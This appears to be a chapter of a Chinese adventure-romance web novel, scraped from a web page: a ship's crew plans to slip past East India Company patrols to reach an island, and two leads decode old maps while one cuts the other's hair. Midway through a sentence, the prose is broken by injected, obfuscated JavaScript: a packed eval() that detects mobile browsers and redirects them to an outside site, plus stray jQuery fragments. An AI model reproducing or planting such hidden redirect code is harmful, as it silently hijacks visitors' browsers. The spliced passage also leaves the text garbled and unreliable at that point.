驾驶室内。
威廉船长和几位核心船员脸色严峻。
他们这几天快马加鞭,终于顺着航线找到了这座岛,但是透过望远镜,却清晰地看到,他们的目标附近的海域,游弋着数艘体型中等的船只。
这些船只装备着明显的火力,船帆上印着大写的东印度公司的字样和徽章,它们巡逻路线严密,就像一道无形的屏障,封锁了靠近岛屿的最佳路线。
“东印度公司的船……怎么会在这里?!这篇海域理论上不在他们的特许状范围里啊。”
威廉船长声音带着不安。
“贸然靠近太危险了船长,他们的火炮可不是摆设。”一位老船员忧心忡忡道。
江熠接过船长递过来的望远镜,半眯着眼,观察着那些船只,眉头紧锁:“他们防备得很紧……建议先保持距离,先看看他们的巡逻规律,再找机会靠近。”
于霜也表示同意,“我们需要更谨慎的计划。”
“那怎么办,我们千辛万苦才到这里。”老船员问。
于霜陷入沉思,手指无意识地敲击着窗户边缘。
江熠的视线在她微蹙的眉心和轻敲的手指上停了一瞬,随即移开。
他思考片刻,随即开口:“我建议我们分三个步骤走。第一,记录它们完整的巡逻路线和换防时间,找到规律和可能松懈的间隙。第二,观察天气,看看有没有可以利用的海雾或者夜色。第三,准备备用方案,如果无法直接登陆主岛,就看看附近有没有其他可以停靠的小岛或者暗礁区。”
他思路严谨,考虑周全。
于霜听完,点了点头,又补充道:“我同意。另外,我父母留下的笔记和地图,也许有关于这片海域里我们还没注意到的细节,我需要时间再仔细研究一下。”
她看向江熠:“副船长,观察和记录巡逻规律的任务,交给你和你的人可以吗?”
“可以。”江熠答应得很快,然后转向副船长,“船长,我需要最好的瞭望手,两班倒,不间断记录,还要安排人去监听他们可能的旗语或者灯号通信。”
船长点点头:“人手你来安排。”
简单的部署在略显压抑的气氛中快速完成。
于霜拿出那几张泛黄的牛皮纸。在海图上铺开。
江熠没有离开,他沉默地站在桌子的另一侧,目光落在那些复杂的线条和符号上。
老船长看看这个,又看看那个,叹了口气,找了个借口和其他人一起离开了驾驶室,将空间留给他们。
舱室内只剩下海浪拍击船体的轻响声和油灯燃烧的细微噼啪声。
于霜凝视着牛皮纸,眉宇间笼罩着一层挥之不去的凝重。
明明离父母只剩一步之遥,偏偏这个时候出现了难题。
她下意识抬手,想把垂落在脸颊的发丝给拨到后面,指尖却再次被那过长的头发缠住。
她轻轻“啧”了声,正想作罢,身后却传来江熠的声音。
“头发,还剪吗?”
于霜动作一顿,没有回头,只是看着面前图纸上细细密密的线条,几不可察地点了一下头,“……剪吧,太碍事了。”
江熠不再多言,转身出门取来剪刀和干净的布巾,示意于霜坐在那个倒扣着的木桶上,自己则站在她身后。
于霜坐定,一只温热干燥的大手轻轻扶住了她的头顶,略微调整了一下她的姿势,然后,耳边响起了剪刀锋利的“咔嚓”声。
一缕缕乌黑的发丝飘落下来。
于霜没有动弹,任由他操作,自己则再次投身于研究牛皮纸和海图中。
她先看的是标记最明确清晰的那一张,她拿起炭笔,在纸张边缘空白处快速演算。
算着算着,她突然注意到这个蓝纹的走向。
“江熠,”她有些兴奋地开口,“你看这个线条……像不像我们刚才看到的那些巡逻船的警戒范围?”
江熠剪发的动作停顿了一下,俯身靠近了一些,他的呼吸拂过她的耳畔,目光落在她手指地方向。
“不止,”他肯定道,“比例和间距很像,你再看看这里。”
他指过去:“这个位置,对应的正好是我们现在观测到的,他们巡逻的一个盲区边缘。”
于霜心脏怦怦直跳,她又抽出第二张牛皮纸。
“那这一张呢?”她将图纸举高些,方便身后的人看,“这些散落的点!……会不会是标注了不同时段,或者在不同警戒的等级下,那些巡逻船的重点布防点位?”
江熠没接话,只注意到她指尖地炭笔灰,然后递过来一个手帕给她擦擦,这才接着说:“有可能。结合第一张图的警戒弧线,交叉对比……如果我们的推断正确,这两张图合起来,可能是在提示我们避开巡逻的路径和时机。”
他用手比划了几个简略的方位和箭头:“假设他们的换防时间有规律,我们就可以利用他们的间隙,就是黎明前光线最暗,也是人最容易疲惫的时候,尝试靠近。”
于霜眼睛越来越亮:“对,而且如果第二张图上的点代表不同等级的布防,那么点迹稀疏的区域,可能就是他们防守的相对薄弱环节!”
两人你一言我一语,完全沉浸在破解地图和制定计划的思维碰撞中,之前的冷战仿佛不复存在,配合得异常默契。
于霜敏锐地找到各种微小的线索,提出大胆假设,江熠就凭借多年丰富的经验进行验证,为她提供谨慎可行的方案。
江熠避开她的耳朵,剪完最后一刀,用大手轻轻擦去她颈后残留的发茬,低声道:“好了。”
于霜这才从专注的状态中回过神来,用手拨了拨发尾,抬头“嗯”了一声,然后收起牛皮纸,“我再去细化一下方案,需要尽快和船长确认,因为很快,我就能找到我父母了。”
“好。”江熠收好剪刀,快速回道。
两人一前一后走出了舱室,斜落的夕阳将他们的影子拉得很长,摇摇曳曳。
-
根据连续两日不眠不休的观测,以及对牛皮纸地图的破译,于霜和江熠制定了一个极其大胆的潜入计划。
主船诺尔尼斯号停留在一处隐蔽的水域,这个水域由一片暗礁天然形成,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16700710|181538||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
而且在东印度公司巡逻船警戒范围之外,安全得很。
然后由一支精干的小队伍乘坐轻便灵活的小船,利用黎明前的微光和巡逻船换班的短暂时间,悄无声息地靠近岛屿。
当江熠在船员会议上宣布需要志愿者时,甲板上先是短暂地安静了一瞬,然后立即沸腾起来。
“我去!我眼神好,能观察周围!!副船长你就让我去吧。”吉勒第一个跳出来,紧张又兴奋。
于霜提醒他:“吉勒,这可不是闹这玩,弄不好……”
“我不怕。”吉勒拍拍胸脯,“西蒙小姐,我能帮你的。”
“我这把老骨头也还能动弹,对暗礁区算是有点经验。” 另一个沉默寡言的老水手也站了出来。
江熠又自己挑了几个人,很快,一支由于霜,江熠,吉勒,老水手和另外两名身手矫健的年轻船员组成的小队便确定下来。
他们早早歇下,睡足了整整一天。天还没亮透,江熠已经起身,挨个把人叫醒。
他走到通铺前,拍了拍老水手巴利的肩膀,低声道理“时间到了。”
巴利立刻睁眼,浑浊的眼睛里没有一丝睡意,,只是沉默地点点头,开始利落地缠紧绷带绑腿。
江熠又用脚尖踢了踢那两个年轻水手的床沿,两人立马翻身做起,动作整齐划一,开始检查随身武器和绳索。
轮到吉勒时,他正睡得口水横流,跟死猪一样。
江熠毫不客气,直接领着后颈把他拽起来,冰凉的巴掌在他脸上搓了一把。
“嘶……副船长!”吉勒冻得一激灵,彻底清醒过来,手忙脚乱地套上外套。
最后是于霜。她单独睡在货箱隔出的小角落里,江熠站在隔板外,屈指在木板上不轻不重敲了两下。
“该走了。”他的声音透过木板,有些发闷。
“嗯。”里面传来窸窸窣窣的穿衣声,片刻,于霜掀开帘子走出来,头发已经梳理好,脸上一点儿也看不出刚睡醒的惺忪。
一行人安静地来到甲板。黎明前的海风像刀子,带着湿冷的雾气,吹得人透心凉。
于霜只穿了件单薄的长裙,下意识抱紧了手臂。
小船已经放下,江熠率先跳了上去,稳住船身。他解下自己那件厚实的风衣外套,看也没看,反手就扔给了正准备上船的于霜。
衣服劈头盖脸地罩下来,还带着些他身上的皂荚气味。
于霜把衣服从头上扯下来,皱眉看向他。
江熠向她伸手,把人扶上船后转过身去检查船桨,声音被海风吹得有些散:“海上风大,别在这个时候感冒。”
于霜捏着那件还带着体温的外套,看了一眼他仅着单薄衬衫的背影,没说什么,沉默地把自己裹了进去。
宽大的外套直接盖到了她的大腿,袖子长得需要挽上好几道。
吉勒在旁边龇牙咧嘴地想笑,被老水手瞪了一眼,赶紧低头假装整理绳索。
“都上船,保持安静。”江熠最后确认了一遍方向,低声道。小船悄然划破浓雾,向着远处被黑暗笼罩的岛屿驶去。